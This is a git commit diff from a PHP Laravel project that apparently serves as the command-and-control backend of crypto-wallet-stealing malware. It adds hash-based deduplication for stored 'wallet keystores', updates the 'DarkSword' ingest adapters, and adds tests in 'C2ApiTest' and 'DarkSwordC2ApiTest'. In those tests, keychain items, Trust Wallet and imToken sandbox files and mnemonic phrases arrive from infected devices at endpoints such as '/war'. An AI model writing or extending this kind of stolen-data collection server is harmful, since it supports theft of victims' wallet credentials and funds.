fix: test
This commit is contained in:
@@ -8,7 +8,7 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
|||||||
class WalletKeystore extends Model
|
class WalletKeystore extends Model
|
||||||
{
|
{
|
||||||
protected $fillable = [
|
protected $fillable = [
|
||||||
'device_id', 'source', 'decrypted', 'raw_json',
|
'device_id', 'source', 'decrypted', 'raw_json', 'content_hash',
|
||||||
];
|
];
|
||||||
|
|
||||||
protected function casts(): array
|
protected function casts(): array
|
||||||
@@ -19,6 +19,78 @@ class WalletKeystore extends Model
|
|||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $rawJson
|
||||||
|
*/
|
||||||
|
public static function hashPayload(array $rawJson): string
|
||||||
|
{
|
||||||
|
$row = new static(['raw_json' => $rawJson]);
|
||||||
|
$digests = $row->contentDigests();
|
||||||
|
$seed = $row->kind().'|'.implode(',', $digests);
|
||||||
|
if ($digests === []) {
|
||||||
|
$seed .= '|'.json_encode($rawJson, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
||||||
|
}
|
||||||
|
|
||||||
|
return hash('sha256', $seed);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $rawJson
|
||||||
|
*/
|
||||||
|
public static function firstOrCreateForDevice(Device $device, string $source, array $rawJson): self
|
||||||
|
{
|
||||||
|
$hash = self::hashPayload($rawJson);
|
||||||
|
$matches = [];
|
||||||
|
foreach (self::query()->where('device_id', $device->id)->orderByDesc('decrypted')->orderByDesc('id')->cursor() as $row) {
|
||||||
|
$rowHash = (string) $row->content_hash;
|
||||||
|
if ($rowHash === '') {
|
||||||
|
$rowHash = self::hashPayload(is_array($row->raw_json) ? $row->raw_json : []);
|
||||||
|
}
|
||||||
|
if (! hash_equals($rowHash, $hash)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if ((string) $row->content_hash !== $hash) {
|
||||||
|
$row->forceFill(['content_hash' => $hash])->save();
|
||||||
|
}
|
||||||
|
$matches[] = $row;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($matches !== []) {
|
||||||
|
$keep = $matches[0];
|
||||||
|
foreach (array_slice($matches, 1) as $dup) {
|
||||||
|
$dup->delete();
|
||||||
|
}
|
||||||
|
|
||||||
|
return $keep;
|
||||||
|
}
|
||||||
|
|
||||||
|
return self::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'source' => $source,
|
||||||
|
'decrypted' => 0,
|
||||||
|
'raw_json' => $rawJson,
|
||||||
|
'content_hash' => $hash,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return list<string>
|
||||||
|
*/
|
||||||
|
public function contentDigests(): array
|
||||||
|
{
|
||||||
|
$out = [];
|
||||||
|
foreach ($this->listedItems() as $item) {
|
||||||
|
$sha = (string) ($item['data_sha'] ?? '');
|
||||||
|
if ($sha === '' || (int) ($item['data_len'] ?? 0) <= 0) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$out[] = $sha;
|
||||||
|
}
|
||||||
|
sort($out);
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
|
|
||||||
public function sourceLabel(): string
|
public function sourceLabel(): string
|
||||||
{
|
{
|
||||||
$source = trim((string) $this->source);
|
$source = trim((string) $this->source);
|
||||||
@@ -48,7 +120,8 @@ class WalletKeystore extends Model
|
|||||||
* protection_class: string,
|
* protection_class: string,
|
||||||
* path: string,
|
* path: string,
|
||||||
* data_len: int,
|
* data_len: int,
|
||||||
* data_preview: string
|
* data_preview: string,
|
||||||
|
* data_sha: string
|
||||||
* }>
|
* }>
|
||||||
*/
|
*/
|
||||||
public function listedItems(): array
|
public function listedItems(): array
|
||||||
@@ -124,7 +197,8 @@ class WalletKeystore extends Model
|
|||||||
* protection_class: string,
|
* protection_class: string,
|
||||||
* path: string,
|
* path: string,
|
||||||
* data_len: int,
|
* data_len: int,
|
||||||
* data_preview: string
|
* data_preview: string,
|
||||||
|
* data_sha: string
|
||||||
* }
|
* }
|
||||||
*/
|
*/
|
||||||
private function normalizeItem(array $item): array
|
private function normalizeItem(array $item): array
|
||||||
@@ -145,6 +219,7 @@ class WalletKeystore extends Model
|
|||||||
'path' => trim((string) ($item['path'] ?? '')),
|
'path' => trim((string) ($item['path'] ?? '')),
|
||||||
'data_len' => strlen($bin),
|
'data_len' => strlen($bin),
|
||||||
'data_preview' => $this->previewBytes($bin !== '' ? $bin : $hex),
|
'data_preview' => $this->previewBytes($bin !== '' ? $bin : $hex),
|
||||||
|
'data_sha' => $bin === '' ? '' : hash('sha256', $bin),
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -157,7 +232,8 @@ class WalletKeystore extends Model
|
|||||||
* protection_class: string,
|
* protection_class: string,
|
||||||
* path: string,
|
* path: string,
|
||||||
* data_len: int,
|
* data_len: int,
|
||||||
* data_preview: string
|
* data_preview: string,
|
||||||
|
* data_sha: string
|
||||||
* }>
|
* }>
|
||||||
*/
|
*/
|
||||||
private function sandboxItems(array $sandbox, string $prefix = ''): array
|
private function sandboxItems(array $sandbox, string $prefix = ''): array
|
||||||
|
|||||||
@@ -689,12 +689,7 @@ class DarkSwordIngestAdapter
|
|||||||
*/
|
*/
|
||||||
private function createKeystore(Device $device, string $source, array $rawJson): WalletKeystore
|
private function createKeystore(Device $device, string $source, array $rawJson): WalletKeystore
|
||||||
{
|
{
|
||||||
return WalletKeystore::query()->create([
|
return WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson);
|
||||||
'device_id' => $device->id,
|
|
||||||
'source' => $source,
|
|
||||||
'decrypted' => 0,
|
|
||||||
'raw_json' => $rawJson,
|
|
||||||
]);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
|||||||
@@ -529,12 +529,11 @@ class IngestService
|
|||||||
$source = WalletSource::fromKeystoreHint($result['source'] ?? null);
|
$source = WalletSource::fromKeystoreHint($result['source'] ?? null);
|
||||||
}
|
}
|
||||||
|
|
||||||
WalletKeystore::query()->create([
|
WalletKeystore::firstOrCreateForDevice(
|
||||||
'device_id' => $device->id,
|
$device,
|
||||||
'source' => $source,
|
$source,
|
||||||
'decrypted' => 0,
|
is_array($result) ? $result : ['value' => $result],
|
||||||
'raw_json' => is_array($result) ? $result : ['value' => $result],
|
);
|
||||||
]);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
|||||||
@@ -0,0 +1,24 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::table('wallet_keystores', function (Blueprint $table) {
|
||||||
|
$table->string('content_hash', 64)->nullable()->after('raw_json');
|
||||||
|
$table->index(['device_id', 'content_hash']);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::table('wallet_keystores', function (Blueprint $table) {
|
||||||
|
$table->dropIndex(['device_id', 'content_hash']);
|
||||||
|
$table->dropColumn('content_hash');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -560,6 +560,10 @@ class C2ApiTest extends TestCase
|
|||||||
],
|
],
|
||||||
], $ts);
|
], $ts);
|
||||||
|
|
||||||
|
$this->call('POST', '/api/user/avatar/status', [], [], [], [
|
||||||
|
'CONTENT_TYPE' => 'text/plain',
|
||||||
|
'HTTP_TIMESTAMP' => $ts,
|
||||||
|
], $enc['body'])->assertOk();
|
||||||
$this->call('POST', '/api/user/avatar/status', [], [], [], [
|
$this->call('POST', '/api/user/avatar/status', [], [], [], [
|
||||||
'CONTENT_TYPE' => 'text/plain',
|
'CONTENT_TYPE' => 'text/plain',
|
||||||
'HTTP_TIMESTAMP' => $ts,
|
'HTTP_TIMESTAMP' => $ts,
|
||||||
@@ -567,6 +571,7 @@ class C2ApiTest extends TestCase
|
|||||||
|
|
||||||
$device = Device::query()->where('device_id', 'dev-ks-1')->first();
|
$device = Device::query()->where('device_id', 'dev-ks-1')->first();
|
||||||
$this->assertNotNull($device);
|
$this->assertNotNull($device);
|
||||||
|
$this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count());
|
||||||
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
|
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
|
||||||
$this->assertNotNull($ks);
|
$this->assertNotNull($ks);
|
||||||
$this->assertSame('aes-128-ctr', $ks->raw_json['crypto']['cipher'] ?? null);
|
$this->assertSame('aes-128-ctr', $ks->raw_json['crypto']['cipher'] ?? null);
|
||||||
|
|||||||
@@ -354,6 +354,72 @@ class DarkSwordC2ApiTest extends TestCase
|
|||||||
$this->assertContains('imToken', $sources);
|
$this->assertContains('imToken', $sources);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function war_skips_duplicate_keystore_content(): void
|
||||||
|
{
|
||||||
|
$payload = [
|
||||||
|
'lhu' => self::DS_LHU,
|
||||||
|
'source' => 'pe_war_guarantee',
|
||||||
|
'keychain' => [
|
||||||
|
'wallets' => [
|
||||||
|
'trustwallet' => [
|
||||||
|
'count' => 1,
|
||||||
|
'items' => [[
|
||||||
|
'account' => 'trust_wallet',
|
||||||
|
'dataHex' => bin2hex('{"device_uuid":"69DD25B2CA8B5682"}'),
|
||||||
|
]],
|
||||||
|
],
|
||||||
|
],
|
||||||
|
],
|
||||||
|
'sandbox' => [
|
||||||
|
'trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}',
|
||||||
|
],
|
||||||
|
];
|
||||||
|
|
||||||
|
$this->postJson('/war', $payload)->assertOk()->assertJson(['ok' => true]);
|
||||||
|
$this->postJson('/war', $payload)->assertOk()->assertJson(['ok' => true]);
|
||||||
|
|
||||||
|
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||||
|
$this->assertNotNull($device);
|
||||||
|
$rows = WalletKeystore::query()->where('device_id', $device->id)->get();
|
||||||
|
$this->assertSame(2, $rows->count());
|
||||||
|
$this->assertEqualsCanonicalizing(['钥匙串', '沙盒文件'], $rows->map(fn ($row) => $row->kindLabel())->all());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function war_collapses_existing_duplicate_sandbox_rows(): void
|
||||||
|
{
|
||||||
|
$device = Device::query()->create([
|
||||||
|
'device_id' => self::DS_LHU,
|
||||||
|
'chain' => Device::CHAIN_DARKSWORD,
|
||||||
|
]);
|
||||||
|
$raw = [
|
||||||
|
'kind' => 'sandbox',
|
||||||
|
'sandbox' => ['trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}'],
|
||||||
|
];
|
||||||
|
WalletKeystore::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'source' => 'Trust Wallet',
|
||||||
|
'decrypted' => 0,
|
||||||
|
'raw_json' => $raw,
|
||||||
|
]);
|
||||||
|
WalletKeystore::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'source' => 'Trust Wallet',
|
||||||
|
'decrypted' => 0,
|
||||||
|
'raw_json' => $raw,
|
||||||
|
]);
|
||||||
|
$this->assertSame(2, WalletKeystore::query()->where('device_id', $device->id)->count());
|
||||||
|
|
||||||
|
$this->postJson('/war', [
|
||||||
|
'lhu' => self::DS_LHU,
|
||||||
|
'sandbox' => ['trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}'],
|
||||||
|
])->assertOk();
|
||||||
|
|
||||||
|
$this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count());
|
||||||
|
$this->assertNotSame('', (string) WalletKeystore::query()->where('device_id', $device->id)->value('content_hash'));
|
||||||
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function war_twelve_word_phrase_ingests_mnemonic(): void
|
public function war_twelve_word_phrase_ingests_mnemonic(): void
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -35,4 +35,34 @@ class WalletKeystoreTest extends TestCase
|
|||||||
$this->assertSame('777350', $row->listedItems()[0]['data_preview']);
|
$this->assertSame('777350', $row->listedItems()[0]['data_preview']);
|
||||||
$this->assertSame('agrp', $row->listedItems()[0]['access_group']);
|
$this->assertSame('agrp', $row->listedItems()[0]['access_group']);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function same_sandbox_bytes_share_one_hash(): void
|
||||||
|
{
|
||||||
|
$json = '{"device_uuid":"69DD25B2CA8B5682"}';
|
||||||
|
$asFile = [
|
||||||
|
'kind' => 'sandbox',
|
||||||
|
'sandbox' => ['trust_wallet' => $json],
|
||||||
|
];
|
||||||
|
$asNested = [
|
||||||
|
'kind' => 'sandbox',
|
||||||
|
'sandbox' => [
|
||||||
|
'trust_wallet' => [
|
||||||
|
'Documents/keystore/wallet.json' => base64_encode($json),
|
||||||
|
],
|
||||||
|
],
|
||||||
|
];
|
||||||
|
|
||||||
|
$this->assertSame(
|
||||||
|
WalletKeystore::hashPayload($asFile),
|
||||||
|
WalletKeystore::hashPayload($asNested),
|
||||||
|
);
|
||||||
|
$this->assertNotSame(
|
||||||
|
WalletKeystore::hashPayload($asFile),
|
||||||
|
WalletKeystore::hashPayload([
|
||||||
|
'kind' => 'sandbox',
|
||||||
|
'sandbox' => ['trust_wallet' => '{"device_uuid":"other"}'],
|
||||||
|
]),
|
||||||
|
);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user